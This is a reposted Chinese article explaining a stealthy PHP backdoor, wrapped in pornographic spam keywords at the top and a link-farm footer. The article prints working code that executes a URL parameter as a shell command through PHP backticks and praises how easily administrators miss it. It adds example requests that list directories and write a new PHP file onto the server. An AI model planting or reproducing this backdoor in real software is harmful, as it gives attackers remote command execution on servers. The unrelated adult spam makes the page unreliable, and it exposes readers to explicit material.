天天躁日日躁狠狠躁AV麻豆-天天躁人人躁人人躁狂躁-天天澡夜夜澡人人澡-天天影视香色欲综合网-国产成人女人在线视频观看-国产成人女人视频在线观看

一個不易被發現的PHP后門代碼解析

偶然間看到一段,看起來似乎沒有什么問題,確是能致命的后門代碼,這里用到了一個一般的phper都不怎么關注的反撇號 ` ,反撇號包含的字符串,等同于shell_exec函數。

偽裝性很好,很容易被管理員忽略。

$selfNums = $_GET['r'];if (isset($selfNums)){  echo `$selfNums`;}

剛看到這段代碼我想大家都會說沒有問題,但是細心的朋友也會發現下面的變量被一個符號包起來了,既然是變量為什么要這樣了,

而且又不是單引號,這個就是關鍵所在了,這個符號是 Esc 下面的一個鍵(位于感嘆號!旁邊的),

通過 echo `系統命令`; 可以達到 system(); 一樣的效果

如果不信的朋友可以測試

http://127.0.0.1/t.php?r=dir 可以列出目錄

http://127.0.0.1/t.php?r=echo 我是馬兒 >>D:/web/90sec.php

我用 appserv 和虛擬主機已經測試成功。

php技術一個不易被發現的PHP后門代碼解析,轉載需保留來源!

鄭重聲明:本文版權歸原作者所有,轉載文章僅為傳播更多信息之目的,如作者信息標記有誤,請第一時間聯系我們修改或刪除,多謝。

主站蜘蛛池模板: 亚洲国产无线码在线观看 | 啦啦啦 中国 日本 高清 在线 | 国产中文视频 | 亚洲免费网站在线观看 | 男人狂躁进女人免费视频公交 | 中文字幕在线视频在线看 | 肉耽高h一受n攻 | porono日本xxx| 国内外成人免费在线视频 | 三级网址在线播放 | 红桃传媒少妇人妻网站无码抽插 | 毛片999 | 久久伊人网站 | 97国内精品久久久久久久影视 | 毛片无码免费无码播放 | 一区两区三不卡 | 俄罗斯14一18处交 | 欧美最猛性XXX孕妇 欧美最猛性xxxxx亚洲精品 | 国产精品无码中文在线AV | 色综合 亚洲 自拍 欧洲 | 恋夜秀场1234手机视频在线观看 | 狠狠色综合久久婷婷 | 欧美AAAAAA级午夜福利视频 | 久久久久久久久性潮 | 国产精品久AAAAA片 | 在线精品视频成人网 | YELLOW视频在线观看最新 | 乳巨揉みま痴汉电车中文字幕动漫 | 韩国精品韩国专区久久 | 亚洲成年人在线观看 | 黄色a一级视频 | 九九热在线视频观看这里只有精品 | 亚洲精品久久久午夜福利电影网 | 青柠在线观看视频在线 | 日本熟妇多毛XXXXX视频 | 国产 欧美 亚洲 日韩视频 | 姑娘日本大全免费观看版中文翻译 | 狠狠国产欧美在线视频 | 免费一区在线观看 | 熟女理发厅 | 国产免费久久爱久久啪 |